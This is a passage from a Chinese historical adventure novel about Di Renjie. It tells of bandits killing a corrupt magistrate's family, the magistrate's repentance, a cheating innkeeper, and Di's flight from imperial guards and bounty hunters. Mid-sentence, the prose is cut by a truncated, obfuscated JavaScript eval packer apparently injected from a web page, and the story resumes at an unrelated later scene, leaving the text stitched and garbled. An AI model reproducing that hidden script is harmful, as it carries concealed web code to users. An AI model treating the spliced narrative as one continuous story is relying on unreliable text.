衙役们还来不及叫喊,就被强人们乱刀砍死了。 那躲在墙角的妇人连忙捂住小女孩的眼睛,口里不停地念佛,小女孩吓得大哭了起来。柳青山这时转头望向她们,问她们是谁。 强人们道:“是那狗知县的老婆孩子。” 那母女俩看着土匪们行凶杀人,现在见他们又都面目狰狞地看了过来,早都吓傻了,呆呆地瞪着眼,连话都说不出口了。 原来这谭知县的夫人自从得知了丈夫为非作歹,便成日待在后堂中吃斋念佛。出外时一有可能便资助穷人,多行善事,并且常常劝导丈夫改悔,重新做人。那谭知县哪里肯听,反倒愈加放荡了,到外头吃喝玩乐,对她们母女俩不理不睬的,漠不关心。谭夫人也无法了,只求佛菩萨能够保佑这个无辜的孩子健康地长大,不要因为她父亲的罪孽,归咎于她,让这个从小就没有受到过她父亲关爱的小女孩,替她父亲受惩罚。 谭夫人盼望着公平,她希望各人的罪孽要各人去偿还,而不是祸及于犯罪者的身边人,让那些无辜的人遭到报应。她相信公平的存在,也相信神佛是公平的,她相信这世上是有公平的,她相信。所以她一直在努力做个“好人”,希望神佛能够因为自己的这颗向善的心,而保佑自己的女儿,这个对世间丑恶还一无所知的小女孩,不去受到她父亲应该受到的惩罚。因为没有人能选择,自己的父亲是个什么样的人,就像自己的女儿,她生来就拥有这样一个父亲,她根本就没得选择,这难道也是她的错吗?就算有错,也应该怪自己,为什么当初瞎了眼,嫁给了这么一个恶人。但这个恶人的罪孽,难道就应该他无辜的女儿来替他偿还吗?什么是公平?这世上到底有没有公平?谭夫人知道,那个悲惨的时刻要到来了,她已经猜到了结果,所以她在生命中的最后一刻,抱着她的女儿,问苍天:你公平吗? 柳青山虽然恨死谭知县了,但当他看到这个妈妈,抱着她的女儿,躲在墙角,含着眼泪,浑身发抖,这个场面顿时在他心里产生了一种情感,让他的仇恨瞬间变得没有那么明显了。他居然从“这个仇肯定是要报的”这个念头,转变为了一种怜悯,一种不忍心,甚至是一种同情。因为在这一瞬间,他想到了自己的母亲,自己的妹妹。这个躲在墙角的母女俩,多像从前,妈妈慈祥的面容看着自己的女儿和自己的儿子,用温暖的臂弯抱着他们,说自己是做母亲的,要用一辈子去保护他们兄妹俩,不被人欺负。她希望他们兄妹俩,好好地、快乐地活着,这是一个妈妈全部的心愿。 柳青山在这一瞬间,想到了从前的场景和画面,他哭了。眼泪,从他憔悴黝黑的脸上,流了下来。他不由自主地松开了手中握着的刀,呛啷一声,掉在了地上。 他却没有意识到,强人们在旁边,已经问了他无数遍,要不要杀掉这母女俩。他柳青山根本没听懂,因为他正在出神,他在流着泪回想,从前跟自己的母亲和妹妹在一起,幸福的时光。他脸上微微一笑,不由自主地,轻轻点了点头。那些强人们,只当他点头是说要杀,于是早挥起刀来,朝那母女俩砍去。就在这一瞬间,那母女俩发出的惊叫声,把柳青山吓醒了。他看着那几把刀,朝着她们砍下去。他大喊一声:“不要啊!”已经来不及了,那母女俩都被砍死了。他看着地上的鲜血,他看着自己面前的鲜血,他看着鲜血,他突然发疯似的喊叫了起来,含着眼泪拼命地喊叫,拼命地哭喊,就像当时他看到自己母亲和妹妹的尸身时一样。 就在这时,突然间雷声轰轰,天上下起了雨来。 柳青山疯也似的冲出了后堂,跑到大街上来。那天上的雨水仿佛眼泪在倾洒,很冷,非常地冷。柳青山含着眼泪,一脸绝望又无奈的苦笑。他在想,自己本来也是一个好人,至少也不是一个坏人,但现在,怎么自己也会变坏了呢?他最后仰天大喊了几声:“我报仇啦!我报仇啦!我终于报了仇啦!”突然眼睛一瞪,向后便倒。他死了。 狄仁杰众人这时一齐来至知县府后堂,见了这场面,都大吃一惊。 狄仁杰不忍多看,回过头来,望着漫天飞雨含泪叹道:“冤冤相报何时了!” 谭知县身上仍是被缚着,冲到佛前跪下,望着自己的妻儿,嚎啕大哭。 村民们笑道:“活该!报应!” 洪辉道:“你们也别说了。他虽罪有应得,可他的妻儿未必就该杀。” 谭知县忽然不哭了,缓缓起身,转了过来,满面泪痕,望向众人。 众人均想:“这厮要拼命!”都怒目盯着他,看他如何。 却听那谭知县哽咽着说道:“我夫人常说,人有‘贪嗔痴’三毒。夫人平日里常常劝我的话,我是听到厌烦,也从未在意。今日我方解其中之意。贪婪使我越陷越深,无法自拔。我妻儿……她们是代我……这个恶人死的……” 他说着,便跪了下来,放声大哭,一面向众人磕头道:“我求你们给我一个机会,我从今以后想好好做人!我对不起夫人,对不起我孩儿,对不起百姓,对不起你们!我不是人哪!呜呜……” 洪辉将他扶了起来,一面替他解开了绳子,叹了口气,看着他道:“要说恨你啊,我洪辉是恨你恨到骨子里了。你作恶多端,今日也得到了报应。只是人非草木,看到你妻儿落得如此下场,也着实令人感叹。你若是当真爱她们,就该给我好好地重新做人,少他妈的再作孽!那些被你害过的人,他们就该吗?他们就没有家人、没有感情吗?” 谭知县摇头哭道:“我……我对不起……对不起你们!我……我……我该死啊!” 狄仁杰道:“你能在此刻幡然悔悟,也为时未晚。但有一点,我狄仁杰没有资格,替村民们原谅你。因为你迫害的人不是我狄仁杰,而是他们。你是一个当官的,却滥用权力,去压迫百姓。你觉得你这种人,值得被原谅吗?我虽然也愿意原谅你,如果你是真心悔改了话,但是前提,是你迫害的这群人,先选择原谅你。如果他们不原谅,那么我狄仁杰也永远不会原谅,更不会替他们原谅!” 村民们道:“还我们粮食,还有钱财,我们就原谅。” 谭知县道:“你们跟我来。” 众人跟着他,来至一处小屋前。 他指着道:“这是衙门的仓库,里面有我收你们的粮食,还有多余的钱财,今日都还给你们!”开门一看,只见里面果真堆着一袋一袋的粮食,一包一包的银钱。 众人还不肯相信,齐望向他。 谭知县道:“你们都拿回去吧!” 众人这才去搬。 狄仁杰问道:“军粮可在?” 谭知县道:“不久前来了一些人,他们给了我银两,将军粮都要走了。” 狄仁杰道:“他们有没有说他们是谁?” 谭知县道:“他们只说是奉了远刺史之命来的。” 此时雨停了,县里许多富户人家都来了。 谭知县对他们说:“我从前做了错事,伤天害理,如今遭到了报应方醒悟。你们也贪了钱粮,都交出来还与村民们吧。以后不可再贪了。” 富户们不敢违拗,向众人认了错,也将钱粮都交了出来。 村民们只是要拿回自己的钱粮,见不但还了交上去的,还多给了他们些,自然皆欢喜。 这时强人们早已不知去向了。 村民们只向狄仁杰道谢,狄仁杰叫众人先回柳溪村去,众人便带着钱粮自去了。 谭知县抬起头,含泪道:“狄……狄大人,我从前的所作所为,现在回头看来,实在是太无知了。如果我早些悔悟,我妻儿或许就不会……” 狄仁杰道:“但愿你妻儿之死,会成为你谭某人的新生。若是这般,她们地下有知,也会欣慰的。” 谭知县听了,流下泪来,点了点头,又问狄仁杰,还有什么要求,只要是自己能做的,一定做到。 狄仁杰道:“我希望你辞去官职,从今以后,不要再做官了。” 谭知县道:“我知道了。” 狄仁杰道:“但我希望你辞去官职之前,做一件事。” 谭知县道:“什么事?” 狄仁杰道:“你上奏朝廷,就说我狄仁杰,故意犯上作乱,逼着那些村民,跟着我一起造反。是我逼着他们的,不是他们自愿的。” 谭知县一听就明白了,不由得含泪道:“狄大人,你心中只有百姓,没有你自己吗?” 狄仁杰微微一笑,道:“我希望他们好好地活着。我这条老命,已经不值钱了。” 谭知县点头道:“好,我答应你。” 狄仁杰道:“谢谢。” 谭知县于是向狄仁杰作了个揖。 狄仁杰便转身回去了。 自此柳溪村村民安居乐业,皆感激狄仁杰,留着住了好几日。狄仁杰住在村长洪老家中,与洪辉谈天说地,颇爱这位青年。经过此事,洪辉亦愈加敬佩狄仁杰,还道:“要是逆犯都能像先生你这么好,那么逆犯也可以算是英雄好汉了!” 后来听得说谭知县不见了,村民们有的说他是畏罪潜逃了,也有的说是出家为僧了,众说纷纭,难以确切知晓。仁德县亦懒立新官,只各人过各人的了,倒也太平。柳溪村诸人不用再上交赋税,不用再挨饿,官府不再追逼,强人们也没有再来闹过,家家户户都是喜气洋洋。 这日,狄仁杰想到还有正事未办,执意要走。村民们虽极力挽留,狄仁杰却去意已决。各人只好备了些干粮,又凑了些盘缠与狄仁杰二人。当日一村饯行,洒泪而别。洪辉多有不忍,又送出了几里路。 狄仁杰道:“送君千里,终须一别。就此别过吧。” 洪辉道:“不知与先生几时还能相见?” 狄仁杰微笑道:“若有缘,定会再见。” 遂与狄宁继续赶路。 35. 第三十五章 缘分 狄仁杰、狄宁二人自离柳溪村以来,便再也没有见到一户人家。在迂回曲折的山路上风餐露宿行了数日,他们身上干粮罄尽,盘缠却多到没有地方花。 这日黄昏,二人已是两天没有吃饭了,都感到疲惫不堪。正缓行间,忽然看见前方搭着一座草棚,摆着几张破旧的木头桌椅。二人走近前看,见是一个简陋的小店。 一个男子走了出来,一见了狄仁杰二人,以为他们是叫花子,便冷笑道:“哟,讨饭都讨到我这儿来啦!” 狄宁道:“不是讨饭的。” 狄仁杰道:“我们是过路人,想买点饭吃。” 那人冷笑道:“就你们这副德性还买饭呢?我看还是讨饭得了!” 狄仁杰道:“人不可貌相,你可是掌柜?” 那人道:“是又咋地啊?” 狄仁杰道:“可卖饭?” 掌柜道:“给钱就卖!” 狄仁杰道:“这自然的。” 掌柜道:“那你们先坐地呗。” 狄仁杰二人便坐下了。 掌柜道:“我这店儿啊,可不比别家,那吃的东西可都得从山下几万里路送到山上来。” 狄仁杰道:“你只随意与我们些就好,我们有银子。” 掌柜道:“我这儿只有面条儿。” 狄仁杰道:“就面条挺好。” 掌柜问:“要荤的还是要素的呀?” 狄仁杰道:“就荤的吧。” 掌柜又问:“要几碗啊?” 狄仁杰道:“两碗吧。” 掌柜道:“行啊,那先给钱啊。” 狄宁从包裹中拿出一两银子来,放桌上,道:“不用找了。” 掌柜叫道:“嘿!玩儿我呢!” 狄仁杰道:“怎么,还不够?” 掌柜伸出两个手指来,道:“两碗面条儿啊!两碗!” 狄宁道:“两碗面条一两银子还不够?” 掌柜道:“荒山野岭的,哪儿来的面条儿啊,啊?” 狄宁道:“你不是刚刚才说有面条的吗?” 掌柜道:“面条儿有是有,可那是从山下几万里路送上来的!哦,就一两银子啊!这生意我还做不做了?啊?” 狄宁道:“你要多少?” 掌柜道:“嗐算啦算啦算啦!瞧你俩这寒酸样儿,就便宜你们点儿吧。这两碗面条儿啊,就只要你们二十两银子吧。” 狄宁道:“你这是黑店?” 掌柜叫道:“嘿嘿嘿!怎地这般说呢?这面条儿是几万里路送上来的!就是要你们二百两也不为过,何况就区区二十两呢!” 狄宁道:“几万里路是爪哇国?” 掌柜叫道:“都说了是山下!” 狄宁道:“山下哪儿有几万里路?” 掌柜怒道:“他妈的!你爱吃不吃!不吃就滚!” 狄仁杰道:“掌柜的,不是我们不愿付钱,我们盘缠也只有十两银子。” 掌柜叫道:“嘿!没钱还好意思来混饭啊!我做我的生意,你没钱关我屁事儿啊?” 狄仁杰道:“这里再偏僻,也没听说两碗面要二十两银子的。” 掌柜道:“前不巴村儿后不着店儿的,你俩嫌贵就请别处儿去,看看他妈的饿不饿死。告儿你们,像我这么有良心的店啊,你们再也找不着第二家了!” 狄仁杰叹了口气,道:“好吧,十两银子你拿去吧,我们只要一碗面。” 掌柜道:“一碗面,就值十两银子?” 狄宁道:“两碗二十两,一碗不是十两吗?” 掌柜道:“没这回事儿!两碗二十两,一碗是十二两!” 狄宁道:“你这是什么理?” 掌柜道:“没什么理。我的店儿,价钱倒由你们来定不成?” 狄宁道:“你不讲理。” 掌柜道:“嘿,你说谁不讲理啦?啊?谁不讲理啦?” 狄仁杰道:“那你一碗面就少给我们些,就算十两吧。” 掌柜叫道:“不行!一碗就是十二两,没得商量!不给钱就他妈的滚蛋!” 狄宁道:“我们很饿。” 掌柜叫道:“你们他妈的饿不饿关我屁事儿!我要不要做生意啦?啊!要吃饭就他妈的给钱!” 狄宁怒目而视道:“你别惹恼了人。” 掌柜指着叫道:“好啊!你们是闹事儿来的呀!” 狄宁跳起身来,揪住那掌柜的。 掌柜看着他笑道:“小子,你这副德性,唬不着人儿!” 狄仁杰道:“算了,不卖就不卖,我们走吧。” 掌柜一听要走,便忙道:“喂,你们真的就只有十两啊?” 狄宁道:“骗你干吗。” 掌柜长吁短叹道:“嗐!本来啊,两碗面是要二百两银子的,一碗也要一百二十两。现在只要你们十二两你们都不给,还讨价还价……算啦算啦!我就好人做到底儿吧!一碗面,就十两银子吧。唉呀,我可是行善事,亏大了呀!这可便宜了你们一百一十两银子啊!像我这么好的人……行吧,我的大恩大德,你们也不用多谢了!”说着,要了那十两银子,往后头去了。 狄宁道:“老爷,我们这下没盘缠了。” 狄仁杰叹道:“罢了,过一时是一时吧。” 一时,掌柜将一小碗面拿了来,放在桌上,又放了两双筷子。 狄宁道:“好小一碗,不够吃的。” 掌柜道:“你什么意思呢?几万里路送来的,你还要多大!就这么着,爱吃不吃!” 狄宁道:“不是说是荤的吗?怎么只有几片野菜?” 掌柜道:“你这是人话!这还不荤?!野菜就是荤的!” 狄宁道:“这明明是素的!” 掌柜道:“素的连野菜也没有!” 狄宁道:“怎么就这么两口面条啊!” 掌柜道:“这是汤面,主要得喝汤!你还真把面条拿来吃啊!” 狄宁道:“可是这汤也不多呀。”尝了一小口道:“怎么还是凉的?一点也没味儿!” 掌柜道:“热面本来要十二两银子的,你们才给了十两银子,还想吃热的?告儿你们,少了二两就不带热的!哦,还抱怨没味儿呢!盐不要钱啊?我开店生意做不做啦?白给你盐吃啊!要白吃盐,喝海水去!” 狄宁指着叫道:“你欺人太甚!” 掌柜叫道:“嘿嘿嘿!干吗啊!你要动粗吗?好好吃饭,别闹。”说着自往后头去了。 狄仁杰道:“罢了,能填饱肚子就行了。” 二人互让与对方吃,然各自也只吃了两三口就没了,连一分饱都不到。 二人摇头叹气,离了店。 行了没多远,只见山下有一小乡镇,一大片都是小吃店。 狄宁道:“老爷,咱上当了。要不要回去把银子要回来?” 狄仁杰反哈哈笑了,道:“我狄仁杰何等糊涂,竟一至于斯!不用要了,是你的终是你的,不是你的强求也无益。我们先在此歇一夜吧,明儿再说。”遂与狄宁在树下歇了。 当晚那掌柜喝得醉醺醺的,捧着那十两银子朝那小乡镇方向去了。 行至半路,脚下突然被什么东西绊了一跤,也没在意,爬起身来就走了。 次日清早狄仁杰二人醒来,只见几块白花花的银子就在眼前。 狄宁捡起来一看,道:“这不是我们那十两银子吗?” 二人遂下山来至小乡镇中,见搭着一座座草棚,皆是小饭店。 二人随便进了一家坐了。 店小二迎出来笑道:“哟,客官儿,来点儿什么?” 狄仁杰道:“来两碗牛肉面吧。” 店小二笑道:“欸好嘞!来两碗牛肉面儿!” 一时店小二上了面,笑道:“客官儿,请慢用!” 二人饿得要死,此刻吃得甚香。 这时又进了两个披蓑戴笠的汉子,叫道:“小二!” 店小二迎出来笑道:“哟,客官儿,来点儿什么?” 那两汉子道:“随便上两碗面,赶紧的!” 店小二笑道:“欸好嘞!来两碗牛肉面儿!” 两汉子坐在了狄仁杰二人那一桌的背后。 狄仁杰二人也没在意。 一时店小二上了面,笑道:“客官儿,请慢用!” 那两汉子大口吃了起来。 只听得两汉子一面吃,一面小小声地说起话来。 其中一个粗声的道:“最新收到的飞鸽传书,消息准确么?” 另一个尖声的道:“绝对无误。” 粗声的道:“看来这奸贼如今就在秦州境内。” 尖声的哼了一声,道:“自从他杀害了远刺史的父母,远刺史便上奏了朝廷,告发了他的又一个滔天罪行。如今他已是恶贯满盈了。人若不除,天也必诛之。” 粗声的道:“只是这奸贼非常地狡诈,我是担心他不声不响地逃走了,我们还被蒙在鼓里呢。” 尖声的道:“这你放心。如今各个关口都贴满了通缉令,把守的人比之之前也更为多了,他是插翅难飞。即使他真的侥幸出了秦州,那还有全国各个州县的搜捕呢,他又如何能逃得过。智者千虑,也必有一失。天网恢恢,疏而不漏。他就是逃到了天涯海角,也难逃他作恶多端的报应!” 粗声的道:“你小点声,不要给狄仁杰或是他的同伙听见了。” 尖声的道:“怕甚,他还能这么巧,正好就跟我们在一块儿吃饭啊?” 粗声的道:“你却也休要小觑了他。别人所不能的,他狄仁杰就能。” 尖声的道:“也是啊,这姓狄的太过险恶歹毒了,难以预料他又会使什么阴谋诡计。” 粗声的道:“陛下她老人家与我们的自然不会是假消息,可是这消息最原始的渠道,就真的可靠吗?这实在是令人质疑啊。倘若是假的,只恐陛下亦被蒙蔽了。” 尖声的道:“这你不用怀疑。姓狄的身边,不是有我们的人嘛。此人常常将最新的动向传递与陛下,陛下再传递与我们,那是绝对不会有错的。” 粗声的道:“只是这奸贼心机如此之深,恐怕他早已知晓了此人是谁,又故意不点破,将计就计,那我们岂不是都被蒙蔽了?” 尖声的道:“你还怕姓狄的使反间计不成?陛下与此人是单线联络,身份的保密性是毋庸置疑的。此人的身份,连我俩尚且不知,姓狄的当局者迷,再聪明也想不到的。” 粗声的叹道:“没想到他狄仁杰平日里装得像个仁人君子,关键时刻却还是原形毕露了,竟是一个十足的奸诈小人。本来还觉得他有没有可能是被冤枉的,如今想来真是无稽之谈。” 尖声的放下箸,道:“你还记不记得,大理寺审查彭府一案找到的唯一目击证人就是吕队长及其巡逻队。他们十几号人都说当夜案发时亲眼目睹了狄仁杰几个行凶杀人,还丧尽天良施奸女仆,又劫走了彭尚书。这还能有假?再则,狄仁杰几人逃离了京都,后来运粮队就又出事了,幸存回来的也是说亲眼见到了狄仁杰一伙在距京不远处作案,杀害运粮队,劫走军粮。这许多人证,已经说明了这姓狄的不可能是被人冤枉的。” 粗声的道:“可是当夜除了吕队长还有他的巡逻队,并无其他目击证人。而巡逻队本身就是一伙人,他们的口供真的就可靠么?还有就是军粮被劫一案,早在狄仁杰出京都之前,就已经屡次发生了。那之前发生的也是狄仁杰干的吗?” 尖声的道:“你真是糊涂啊。一个案子只要有两个证人便是铁证,何况巡逻队十余人皆言辞一致。姓狄的根本无须自己动手,军粮只要叫他手下劫就行了。不论是谁,都与姓狄的脱不了干系。还有啊,不久前,陛下拿到的那两份血字供词,便是狄仁杰还有他的护卫韩忠义二人亲手写的。还核实了笔迹,完全一模一样,绝无伪造的可能。他们二人都亲口承认罪行了,还能有假?写得还那么工工整整的,难道还是有人逼供不成?这么一来,人证物证俱全,板上钉钉,铁证如山。待我们抓到了姓狄的,看他还有什么话说。” 粗声的道:“你说得也是。行了,不吃了,咱这就行动,免得这奸贼又抢先一步去伤害无辜。”叫道:“小二,结账!” 这一番话却被狄仁杰、狄宁二人听得一清二楚。 狄仁杰别的倒还罢了,唯独那个“血字供词”让他有点吃惊。那指的肯定是阳绵县的魏县令,逼迫自己与忠义写的那两份血字供词,却如何到了皇上的手中?就这一点让他觉得很奇怪,甚至有点吓人…… 此时那两个蓑笠汉正唤店小二来结账,狄仁杰二人赶忙低了头。 忽听得一个熟悉的声音乱嚷。 一人直冲将来,二话不说,揪住狄宁身上的包裹便伸手往里掏,将那十两银子掏了出来。 狄仁杰二人倒唬了一跳,抬头一看,竟是昨儿山上那黑店的掌柜。 那掌柜将十两银子往自己兜里一塞,指着狄仁杰二人叫道:“好啊你们两个贼!找了老子大半夜,原来我的钱是被你俩偷去了!穷怕了呀臭花子!算啦!我大人不记小人过,就饶了你们两个吧!”说着就要走,被狄宁一把揪住。 掌柜回头怒道:“干吗啊!做贼还有理儿啦!” 狄宁道:“我们没有做贼,十两银子是我们的。” 掌柜骂道:“两个杂碎放什么鸟屁!十两银子买了我一大碗面,已经是我的了,你还敢偷去!” 狄宁道:“没有偷,钱是我们捡来的。” 掌柜大笑道:“是是!是捡来的!我也是捡来的!哈哈哈!” 狄宁道:“那你至少留下一两银子,给我们作面钱,不然我们没得付。” 掌柜道:“嘿嘿嘿!说什么屁话儿呢?这是我的钱!好好的干吗给你俩银子呢!滚你妈的去吧!”就要走,狄宁拉着不放。 掌柜一拳打过来,被狄宁躲过,推了他一跤,摔了下去。 那掌柜在地上大叫道:“大伙儿都来看哪!这俩叫花子昨儿就到我店里白吃了饭不想给钱,我好心便宜了他们,给他们面吃,他们倒恩将仇报,偷了我的十两银子!没天理啊!” 围观的人都是乡镇里开店的,也有几个过路的,都指着狄仁杰二人道:“你俩吃了人家饭,不给钱就算了,怎地还打人呢?” 狄仁杰叹道:“这位掌柜,我们并不想与你争执,你又何故信口开河呢?” 那掌柜满地打滚,乱哭乱叫:“大伙儿都是开店的,都知道不容易!偏偏有些无赖,白吃饭不结账!这俩人就是!你们瞧他俩浑身衣服脏兮兮又破烂的,还像个人样儿吗?不是花子是啥?他们能有十两银子这么多钱?就是他们从我手里抢来的,现在还来贼喊捉贼!哎呀呀我好苦啊!我们做生意的开店的都好苦啊!几辈子挣来的钱,被俩花子给偷去了,还赖人哪!哎呀!” 店小二也冲出来指着狄仁杰二人叫道:“好啊!原来你们是吃白饭来的呀!你们吃了我两碗牛肉面,快给钱!” 狄宁道:“我们的十两银子被他抢去了。” 掌柜叫道:“骗人,骗人!俩花子故意这么说的,谁看见我拿他们钱了?” 忽听得一人粗声道:“我看见了。” 另一人尖声道:“我也看见了。” 说话的是那两个蓑笠汉。 掌柜大怒,爬起身来,指着二人叫道:“你们俩跟他们也是一伙儿的?” 两汉子道:“都是过路人,萍水相逢。只是你抢了他们的钱,我们二人是亲眼瞧见了的。” 掌柜叫道:“我不管!这俩花子吃了我的面,不给钱!这十两银子是面钱,我就是拿了来,也算不得是抢!” 店小二嚷道:“你们爱咋地就咋地去吧!我就要那两碗牛肉面钱!你们给钱啊!” 狄仁杰道:“我们的钱都被他拿去了,怎么付你?” 店小二转向掌柜叫道:“那你快给钱啊!” 掌柜“嘿”的一声,指着店小二道:“你什么意思啊?啊?喂,你这话什么意思啊!这是我的钱!他们不付钱,关我屁事儿啊!你的面是我吃的吗?凭什么得我来替他们付!” 店小二又转向狄仁杰二人道:“对啊,这是他的钱,你们自己干吗不付钱?赖账啊!” 狄宁道:“你们欺负人哪!” 店小二“嘿”的一声,指着道:“你们吃了我的面,不付钱,倒成了我欺负你们?还有没有天理啦!” 掌柜趁机要走,被狄宁扯过来,道:“你别走!你先把钱还给我们!” 掌柜大声道:“大伙儿来瞧!青天白日的就抢钱!” 狄仁杰道:“多行不义必自毙。” 掌柜冷笑道:“说你自个儿呢吧!” 狄仁杰叹了口气。 那粗声汉子忽然指着狄仁杰喝道:“喂!我看你面熟!你转过身来!” 那尖声的道:“是啊,面熟得紧。快转过来!” 狄仁杰心想在劫难逃,便微微一笑,转过身来,向二人作了个揖,道:“适才多谢二位替在下说话。”一抬头,便从斗笠底下看见那两汉子盯着自己,从疑惑,到惊讶,再到愤怒的神情。 两汉子指着他齐声道:“你是狄仁杰!” 狄仁杰道:“是我。” 两汉子立时大笑了起来。 狄仁杰道:“不敢动问,二位高姓?” 两汉子道:“死也让你死个明白,咱哥儿俩便是大名鼎鼎的‘虎翼双雄’。”说着,摘下笠帽。 狄仁杰道:“久闻今上有两位武功绝顶的侍卫,一名如虎,一名天翼。” 只见那粗声的五大三粗,说道:“我便是如虎。” 尖声的尖嘴猴腮,说道:“我就是天翼。” 狄仁杰道:“二位一起,果真是如虎添翼。” 如虎道:“多蒙你夸奖,可惜你如今只是个通缉犯,所以被你夸奖也没什么光荣的。你的帮凶韩忠义他们几个哪儿去了?” 狄仁杰道:“他们……已经不在了。” 如虎道:“嗯,可惜啦。你们本也可以为国效力,可惜都沦为了逆犯。我们本也挺佩服你狄仁杰的,只是你如今罪大恶极,实在是饶恕不得。我们也不想多说啦,你准备好跟我们回京领罪了没有?” 狄仁杰摇头道:“我现在还不能跟你们回去。” 如虎道:“为什么?你想要挣扎到底吗?” 狄仁杰道:“因为陛下交给我的任务还未完成。” 天翼怒道:“你不要以皇上为挡箭牌为自己的恶行遮掩!” 狄仁杰道:“我现在跟你们回去面圣,也只须三言两语便能为自己开脱,这并非什么难事。只是此次案件牵连众多,极其复杂。此刻原路返回便前功尽弃,满盘皆输。狄某焉能为一己之颜面,弃天下之得失于不顾!” 如虎道:“这么说,你是执意不肯喽?” 狄仁杰道:“恕难从命。” 二人道:“好!那就休怪我们不客气了!”说着,就要来抓狄仁杰。 狄宁一见,从旁袭来,将二人推了开,站在了狄仁杰身前。 二人道:“倒忘了还有个小崽子,接招!”二人同时出招。 狄宁猛将桌上碗筷推向二人,被他们连忙避了开,碗筷落地。 店小二见碗碎了,“哎呀”的叫。 狄宁一脚踢得木桌在半空中翻了几个筋斗,飞向二人。 二人退后两步,四只手同时拍向桌面,朝狄宁飞了回来。 狄宁跳起身双脚连踹,桌子又朝二人飞了回去。 二人连忙闪开,听得“啪”的一声,桌子撞到了柜台上。 店小二见桌子柜台都砸烂了,“哎呀呀”的叫。 围观的见打将起来早都跑了。 那掌柜也跑,脚下还被绊了一跤,爬起来一溜烟去了。 狄宁叫狄仁杰先走。狄仁杰不肯走,道:“尽人事听天命,我狄仁杰若是当真该死那就让我死了吧!” 虎翼双雄从身上拔出器械来。 店小二见了,唬得连店也不要了,连忙逃命去了。 狄宁此时身上并无器械,明知敌不过,可为了掩护狄仁杰也只得拼命了。 二人喝道:“你们现在缴械投降还来得及!” 狄宁道:“你们用武器打手无寸铁的人,好意思吗?” 二人想了想,摇头道:“不好意思。”遂将武器收了起来。 狄宁趁着空隙,将身旁的木椅抓来,一把一把地丢过去,二人忙不迭挡格。 狄宁连忙与狄仁杰出了草棚。 虎翼双雄叫道:“喂!别跑!” 狄宁在外大喝一声,一脚踢断了支撑着草棚的柱子,草棚登时失衡,塌了下来。 狄仁杰道:“我们走。” 才走出两步,忽见地上几块白花花的银子。 狄宁指着道:“这不是我们那十两银子吗?”忙捡了起来,塞在包裹里,与狄仁杰一齐奔逃。 虎翼双雄推开了压在头顶的草棚,抹了抹脸上的稻草,切齿道:“我们太过心慈手软,才中了奸贼的奸计!快追!” 狄仁杰二人慌不择路,连着跑了有十余里,来至一松树林中,实在是走不动了。 狄仁杰更是气喘,弯着腰咳了几声。 只听得虎翼双雄叫道:“奸贼!别跑!” 抬头一看,二人已来到跟前,哈哈大笑道:“看你们还往哪儿跑!”说着便冲过来。 狄宁挡在狄仁杰面前,道:“老爷快走。” 狄仁杰踌躇道:“那你……” 狄宁与二人交上了手,一面大叫:“快走啊!” 狄仁杰也无法了,头也不回便往反方向跑去。 此刻脑海之中一片空白,呼吸与心跳之声却格外鲜明。 穿过一个个参天大树,依然望不见尽头。 不知行了有多久,方停下来喘了口气,便听得有人声说话,至少也有十来人,正朝着自己的方向走来。 狄仁杰忙躲在了一棵大松树后面。 偷眼望去,只见那些人身穿便服,挎着朴刀。 听他们说道: “最新的消息准确么?” “当然没错。” “看来这狗贼就在秦州境内。” “如今搜查得那么严,只怕他想跑也跑不掉啊。” “几日前不是还在那个什么柳溪村里呆过。还领着村民土匪一起造反呢,把知县一家子都给杀了。” “这狗玩意儿丧尽天良,竟到了这种地步!” “那按时间推算,这狗东西应该就在这附近咯?” “应该是的,只是要找到他也没那么简单,如大海捞针哪。” “我们要抓紧了,可不要让人先下手了。远刺史不是说了,只要捉到了狗贼,就可以分他一半的家私,还能做大官!” “咱几个到时候都享荣华受富贵!” “想得美!那么好抓?就他身边那个护卫韩忠义,就奈何不了他!” “听说没见到他身边还有那个什么韩忠义。” “哼,说不定已经死了呢。” “死了好!几个狗杂碎都死光光,天底下谁不欢喜?” “都死光也不好,咱拿谁去领赏啊?” 都哈哈大笑。 狄仁杰一惊,想道:“这些人竟也是冲着我而来!他们却是奉了远刺史之命,也就是远公子……” 那些人方要走,其中一个道:“我去小解一下。”说着,就往狄仁杰那棵树走来。 狄仁杰见他愈靠愈近,知道生死关头犹豫不得…… 此刻不走,更待何时! 遂立时狂奔。 那些人一回头,叫道:“谁?” 那去小解的呆了呆,道:“好像是……狄仁杰!” 那些人“啊”的一声,道:“那还不快追!”遂一齐猛追,一面喊道:“别跑!” 狄仁杰见他们即将追上,命垂一线,哪里敢放慢脚步。 其中一人将朴刀掷向狄仁杰,划在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼见狄仁杰就要被砍掉手,猛地里飞出一根铁棍,直戳向那持刀人,听他大叫一声,摔了下去。 十来人大惊,左看右顾,不见个人影。 猛听得一个高亢的声音喝道:“一群狗崽子合起伙来欺负一个老年人,简直是活腻了!” 十来人叫道:“谁?” 只见山坡上跳下一青年来,朗声道:“我!” 狄仁杰睁开眼来,抬头一看,道:“你……你是小辉!” 那人正是柳溪村村长洪老之子洪辉。 他一见那绑在树上之人竟是狄仁杰,也是大吃一惊,道:“狄先生!怎么是你?” 那些人道:“好啊小崽子,原来你跟姓狄的认识啊!” 洪辉看着他们哼了一声,道:“我是认识他!不过我在这之前并不知道是他,还以为是别的什么人呢。” 那些人冷笑道:“什么屁话!与你素不相识的人,你难道也来多管闲事儿?” 洪辉道:“没错!看到一群人欺负一个,何况是个老年人,我洪辉就要管!” 狄仁杰道:“小辉,你快走吧!” 洪辉道:“不!就是萍水相逢之人,我洪辉也不会见死不救!更何况是狄先生!” 那些人道:“你还跟着几个人来?” 洪辉道:“放屁!就我一个!” 那些人道:“就你一个还敢来打抱不平?天底下有你这样傻的人?” 洪辉道:“管他傻不傻!我只知道路见不平,拔刀相助!” 那些人道:“那你就跟姓狄的陪葬吧!” 十来人皆手持朴刀向洪辉杀来。 洪辉也从身上拔出刀,大喝一声,与十来人周旋。 此乃洪辉一生中首次与人过招,并且一来便是十多人。 乱刀一个接一个砍来,眼花缭乱,洪辉渐渐不敌。 狄仁杰叫道:“小辉,你的心意我知道啦!你不要为我白白地送了性命!” 